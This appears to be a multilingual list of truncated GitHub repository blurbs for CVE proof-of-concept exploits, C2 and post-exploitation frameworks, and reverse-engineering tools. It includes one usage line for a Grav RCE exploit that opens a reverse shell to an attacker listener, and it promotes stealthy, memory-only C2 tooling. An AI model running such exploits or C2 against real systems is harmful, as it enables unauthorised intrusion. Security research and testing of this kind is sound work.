POC_CVE-2025-32433

⚠️ Aviso ético Este repositorio contiene código que demuestra un CVE real CVE-2025-32433. Úsalo solo en entornos donde tengas autorización explícita. Nunca pruebes este exploit contra sistemas que no poseas o administres. El uso no autorizado es ilegal, poco ético y perjudicial para la comunidad d...

emp3r0r

emp3r0r A self-healing, memory-only C2 for Linux and Windows — agents that survive broken links, never touch disk, and script their way through the Win32 API. What is emp3r0r? emp3r0r is a post-exploitation framework and C2 built for Linux and Windows environments where stealth and resilience...

mas-crackmes

OWASP MAS Crackmes 这个仓库包含OWASP MAS Crackmes的源代码。 欢迎来到MAS Crackmes，又称UnCrackable Apps，这是一系列移动逆向工程挑战。这些挑战在OWASP MASTG中作为示例使用。当然，你也可以为了乐趣而解决它们。 ⚠️ 剧透警告： 请负责任地使用此仓库。如果你阅读了源代码，就会破坏你破解实际Crackmes的乐趣 ;-...

cutter

Cutter Cutter 是一个免费且开源的逆向工程平台，由 rizin 驱动。它旨在成为一个先进且可定制的逆向工程平台，同时注重用户体验。Cutter 由逆向工程师为逆向工程师打造。 了解更多请访问 cutter.re。 获取 Cutter 下载 Cutter 发布了适用于所有主要平台（Linux、macOS、Windows）的二进制文件，可从 GitHub Releases 下载。 Linux ：如果您的发行版提供了 cutter 包，可以在包管理器中查找（或 cutter-re / rz-cutter）。如果不可用，我们已在 OBS 上为一些常见发行版设置了仓库。请访问...

siemframework

SIEMS FRAMEWORK MultiSIEM 模块化 Python3 攻击框架 ElevenPaths https://www.elevenpaths.com/ 用法: python3 ./siemsframework.py 简介 SIEM 是网络安全领域日益常用的防御性工具，尤其是大型企业和那些需要监控高度关键系统与网络的公司。然而，从攻击者的角度来看，SIEM 在企业网络中对系统和账户所拥有的权限是极高的。此外，对 SIEM 的管理员访问权限可能被用来在安装该 SIEM 的服务器上执行代码，有时也会影响客户端机器，因为 SIEM 会收集来自 Active Directory...

CVE-2025-3243

CVE-2025-32433 Exploit de la librería SSH de Erlang Un exploit de prueba de concepto para CVE-2025-32433 , una vulnerabilidad crítica en la librería SSH de Erlang que permite la ejecución de código sin autenticación previa mediante paquetes SSHMSGCHANNELREQUEST malformados. Características Exploi...

AirBorne-PoC

AirBorne PoC Framework – Edición Elite RCE Framework PoC completo para CVE-2025-24252 y CVE-2025-24132 Por ekomsSavior | AirBorne es un framework combinado de prueba de concepto PoC que apunta a dos vulnerabilidades graves en el servicio AirPlay de Apple. Incluye un desencadenador de caída comple...

QuasarNix

QuasarNix: 对抗鲁棒的离地生存反向Shell检测 Dmitrijs Trizna · Luca Demetrio · Battista Biggio · Fabio Roli 概述 Linux living-off-the-land LOTL 反向shell滥用合法二进制文件（bash、python、nc等）建立隐蔽的出站连接，使得基于签名的检测在面对新型变体和逃避尝试时不可靠。QuasarNix 解决了该领域的两个空白： 1. 没有公开的基于ML的SIEM检测器 ——我们发布了首个生产就绪、开放许可的LOTL反向shell检测ML模型。 2. 对抗脆弱性...

Awesome-Android-Reverse-Engineering

安卓逆向工程精选资源 精心整理的安卓逆向工程培训、资源和工具列表。 使用方法 Awesome-Android-Reverse-Engineering 是一个面向安卓应用、系统或组件拆解工作者的精选列表。只需按 ctrl + F 搜索关键词，浏览我们的目录菜单，或者寻找标有 '☆' 的优秀且更新的资源。 目录 培训 课程与资料 视频 书籍 工具 静态分析工具 动态分析工具 反编译器 恶意软件分析 资源 文档 案例研究 CTF 与 CrackMe 其他 混淆与反逆向 固件与内核分析 云 API 与 Web 服务逆向 培训 课程与资料 ☆ Maddie Stone 的安卓逆向工程培训 - 由...

sass-king

SASS King 从受控内核到生产审计的 NVIDIA SASS 逆向工程。 文章 1 · 文章 2 · 知识库 · 模式库 · SM120 指令词汇表 · 编码笔记 · 从这里开始 · 项目结构 · 张量核心章节 · 贡献指南 SASS King 是一个针对 NVIDIA SASS 的系统性逆向工程项目，SASS 是编译后的 CUDA 二进制文件中发出的原生 GPU 指令集。该项目从 SM120 / SM120a 消费级 Blackwell 硬件开始，并逐步向完整的跨架构 ISA 和模式库扩展。 目标是务实的：帮助内核工程师打开一个 SASS...

CVE-2021-21425-RCE

这是我自己的版本，我在网上找到了很多，但那些都很糟糕。 用法 python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 等待.. 60秒后你将在监听器上获得shell。...

lst2x64dbg

lst2x64dbg 此命令提取给定 LST 文件中的所有标签（该文件作为单一参数提供）。根据提取的标签，在当前目录中创建一个 x64dbg 数据库。 LST 文件可以在 IDA 中通过 文件 菜单生成：生成文件 - 创建 LST 文件... 示例 $ lst2x64dbg sample.lst ghidra2x64dbg 此命令提取给定 CSV 文件中的所有标签（该文件作为单一参数提供）。根据提取的标签，在当前目录中创建一个 x64dbg 数据库。必须提供镜像基址值。 CSV 文件可以在 Ghidra 中通过 窗口 菜单选择 符号表 生成。 在打开的符号表窗口中，按 位置...

CVE-2024-3400

CVE-2024-3400 Exploit para GlobalProtect CVE-2024-3400 Este exploit se dirige a la vulnerabilidad original, por lo que el firewall debe estar ejecutando una versión vulnerable de PAN-OS y debe tener la telemetría habilitada. Ref.:...

c2-cloud

关于项目 C2 Cloud 是一个强大的基于网页的 C2 框架，旨在简化渗透测试人员的工作。它允许像在 AWS 云中访问 EC2 实例一样轻松地访问被攻陷的后门。通过用户友好的界面，它可以管理多个同时进行的后门会话。 C2 Cloud 是开源的。安全分析师可以自信地进行模拟，获得宝贵的经验，并为其组织的主动防御态势做出贡献。 支持的反弹 Shell： 1. Reverse TCP 2. Reverse HTTP 3. Reverse HTTPS（配置在负载均衡器后面） 4. Telegram C2 演示 C2 Cloud 演练： https://youtu.be/hrHTRDcGj8 使...

c2-cloud

About The Project The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly...

instarecon

InstaRecon Automated basic digital reconnaissance. Great for getting an initial footprint of your targets and discovering additional subdomains. InstaRecon will do: DNS lookups A, PTR, MX, NS DNS lookups recursively on all hosts discovered Whois on domain and IP lookups Google dorks looking for...

CVE-2024-36401-PoC

CVE-2024-36401-PoC Exploit de Prueba de Concepto para CVE-2024-36401 GeoServer Versiones vulnerables de GeoServer son anteriores a 2.23.6 | 2.24.4 | 2.25.2 !!! SOLO CON FINES DE PRUEBAS DE SEGURIDAD !!! NO USE ESTO EN SISTEMAS QUE NO POSEAS A MENOS QUE TENGAS PERMISO EXPRESO !!! Para ejecutar... ...

mastg

OWASP移动应用安全测试指南（MASTG） OWASP移动应用安全测试指南（MASTG） 是一本针对移动应用安全测试和逆向工程的综合手册。它描述了验证OWASP移动安全弱点枚举（MASWE）中弱点的技术流程，这些弱点与OWASP移动应用验证标准（MASVS）中列出的控制项保持一致。 OWASP MAS: OWASP MASVS ➡ OWASP MASWE ➡ OWASP MASTG 🌐 访问MASTG网站 ✅ 获取最新的移动应用安全检查清单 ⚡ 贡献！ 💥 玩转我们的Crackmes 📞 联系我们 信赖方 OWASP MASVS、MASWE 和 MASTG...

GhidrAssist

GhidrAssist 作者：Jason Tang 一款基于LLM的高级插件，为Ghidra中的交互式逆向工程提供智能辅助。 描述 GhidrAssist 将大型语言模型（LLM）集成到 Ghidra 中，为二进制探索和逆向工程提供智能辅助。它支持任何兼容 OpenAI v1 的 API，包括本地模型（Ollama、LM-Studio、Open-WebUI）和云提供商（OpenAI、Anthropic、Azure）。 主要功能 核心功能： 代码解释 - 在反汇编和解编译伪C中解释函数和指令 安全分析面板，显示风险等级、活动概要和API使用情况 可编辑摘要，带用户编辑保护，防止自动覆盖...

ll-34

ll/34 ll/34 是 PDP-11/34A（1976 年）的电路级仿真器，运行一个从真实 PDP-11/34A 的原理图、微码和逻辑捕获中逆向工程得到的虚拟 CPU。 它最初被设计为真实 CPU 的数字复制品，以协助在信号层面进行故障排查。 选择电路级（ROM 真值表 + 组合逻辑）而非门级（Verilog），是因为它足够底层，能够复现硬件缺陷，同时又足够快，可以运行程序。 架构 虚拟 CPU（kd11ea/）复制了时钟发生器、逻辑门和 ALU（用 C 逻辑模拟），并按照从 ROM 中导出的原始微码逐步执行。 它由以下组件构成： 文件| 描述 ---|--- roms/| ROM...